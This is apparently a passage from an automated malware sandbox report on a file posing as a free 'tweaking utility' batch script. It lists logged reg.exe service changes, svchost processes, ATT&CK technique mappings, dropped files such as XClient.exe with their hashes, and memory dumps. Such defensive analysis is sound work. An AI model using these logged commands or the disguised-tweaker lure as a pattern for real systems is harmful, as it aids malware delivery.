    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Origin Client Service" /v "Start" /t REG_DWORD /d "3" /f
    3⤵
    PID:2424
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Origin Web Helper Service" /v "Start" /t REG_DWORD /d "3" /f
    3⤵
    PID:4700
- - C:\Windows\system32\reg.exe
    Reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Steam Client Service" /v "Start" /t REG_DWORD /d "3" /f
    3⤵
    PID:2104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1492

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c67441dfa09f61bca500bb43407c56b8

SHA1
5a56cf7cbeb48c109e2128c31b681fac3959157b

SHA256
63082da456c124d0bc516d2161d1613db5f3008d903e4066d2c7b4e90b435f33

SHA512
325de8b718b3a01df05e20e028c5882240e5fd2e96c771361b776312923ff178f27494a1f5249bf6d7365a99155eb8735a51366e85597008e6a10462e63ee0e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
273760112f1f2e60426631713dc50319

SHA1
3c1e9b5b5a7934720ae53ef6e844387860dd1e51

SHA256
057dc9b8f7c35b6fb55f8a2618fb75057ada88a95629c4414ed67e9fc2542247

SHA512
17d5f6244bf7e892b9b22c3ed72d44cc794e630e075038ea51c3e680298fb7110937416c741bd114431386eafa4fa41d8cec6b66515ca43b9ddf4d57cf0c5317

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
85ce54ce614b625332ea3ccac4e0857f

SHA1
dc8e80dd46b9cd6dd39bff3e281090f952973884

SHA256
6814b74f3f95da7aa1de9f6e629aa3d908e3d1603f0a724bb3ae7ae381834e9c

SHA512
a67866176a3123dcb2cd5b1013901a0a2abea37c375f6d62a508977ecb8da1b89645395b4955b318cbcbcc3db9d12f754a3795918c519c3ffbba7748dee5a01b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ [

Filesize
3B

MD5
df66fa563a2fafdb93cc559deb0a38c4

SHA1
e6666cf8574b0f7a9ae5bccee572f965c2aec9cb

SHA256
3e39ed22dc63246937c4dbbf34ce4fb1cfe6b00de7596b020cad49ae50031351

SHA512
34ea05ee75cd840a94526411777868edb293a69867e1fdc2c2e917d278a3d58fcb86afc65142f4b184ce6907f04fb254a86061cfb620f01874b0b454a6f01c18

Download Submit
C:\Users\Admin\AppData\Local\Temp\Velocity_Free_Tweaking_Utility.bat

Filesize
79KB

MD5
c410192a848f49befb5eadce93c721d8

SHA1
ae716ed832e822d646503bafb81816634fcfc8ad

SHA256
4f18502b6ca846e63158f410d48b5e17c23e82a4b4215cbef0d9790d29ebdbe5

SHA512
c28fcff463566f16712dee6db6a4dca2e989b3883fc835c71fedf0a7db181ff60b0f25dd0c84779882a5ce5b3c3d74f4736437de9c38d4e7b738f02fdc3ee3b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\XClient.exe

Filesize
70KB

MD5
68a5231ad845ddbf1068d17fa47d0096

SHA1
e3ea3f411e7b3ea88b418b99e67fed3cb4ad1408

SHA256
487948ed1783108708cc108e3a52b25022a6f10f9a236f427435588c62d76004

SHA512
99364906b2902a9ffc0725cbad9032cb4597650cab1c7f6dce9786dd8cd4e753ed9485418d5390248b5c624ef1043c12411d65a8158d5db280b4e6bcf0c78d83

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dilq0k4y.a10.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/908-66-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/956-72-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/1168-64-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/1268-136-0x0000000000740000-0x0000000000758000-memory.dmp

Filesize
96KB

Download
memory/1284-81-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/1428-73-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/1456-79-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/1492-82-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/1520-77-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/1680-67-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/1752-70-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/1924-65-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/1944-75-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/2292-78-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/2324-76-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/2524-74-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/2692-71-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/2840-83-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/3512-18-0x0000000004BD0000-0x0000000004BFA000-memory.dmp

Filesize
168KB

Download
memory/3512-63-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/4148-80-0x00007FFAAE7F0000-0x00007FFAAE800000-memory.dmp

Filesize
64KB

Download
memory/4948-16-0x000001E06AF60000-0x000001E06AF68000-memory.dmp

Filesize
32KB

Download
memory/4948-206-0x00007FFAD00E0000-0x00007FFAD0BA2000-memory.dmp

Filesize
10.8MB

Download
memory/4948-84-0x000001E06B7B0000-0x000001E06B7C8000-memory.dmp

Filesize
96KB

Download
memory/4948-17-0x000001E06B530000-0x000001E06B5A2000-memory.dmp

Filesize
456KB

Download
memory/4948-0-0x00007FFAD00E3000-0x00007FFAD00E5000-memory.dmp

Filesize
8KB

Download
memory/4948-15-0x000001E06B5B0000-0x000001E06B626000-memory.dmp

Filesize
472KB

Download
memory/4948-14-0x000001E06B4E0000-0x000001E06B524000-memory.dmp

Filesize
272KB

Download
memory/4948-138-0x00007FFAD00E0000-0x00007FFAD0BA2000-memory.dmp

Filesize
10.8MB

Download
memory/4948-179-0x00007FFAD00E3000-0x00007FFAD00E5000-memory.dmp

Filesize
8KB

Download
memory/4948-31-0x00007FFAD00E0000-0x00007FFAD0BA2000-memory.dmp

Filesize
10.8MB

Download
memory/4948-208-0x00007FFAD00E0000-0x00007FFAD0BA2000-memory.dmp

Filesize
10.8MB

Download
memory/4948-13-0x00007FFAD00E0000-0x00007FFAD0BA2000-memory.dmp

Filesize
10.8MB

Download
memory/4948-12-0x00007FFAD00E0000-0x00007FFAD0BA2000-memory.dmp

Filesize
10.8MB

Download
memory/4948-11-0x00007FFAD00E0000-0x00007FFAD0BA2000-memory.dmp

Filesize
10.8MB

Download
memory/4948-10-0x000001E06AF70000-0x000001E06AF92000-memory.dmp

Filesize
136KB

Download
memory/4948-267-0x000001E06B7D0000-0x000001E06B7DC000-memory.dmp

Filesize
48KB

Download
memory/4948-273-0x00007FFAD00E0000-0x00007FFAD0BA2000-memory.dmp

Filesize
10.8MB

Download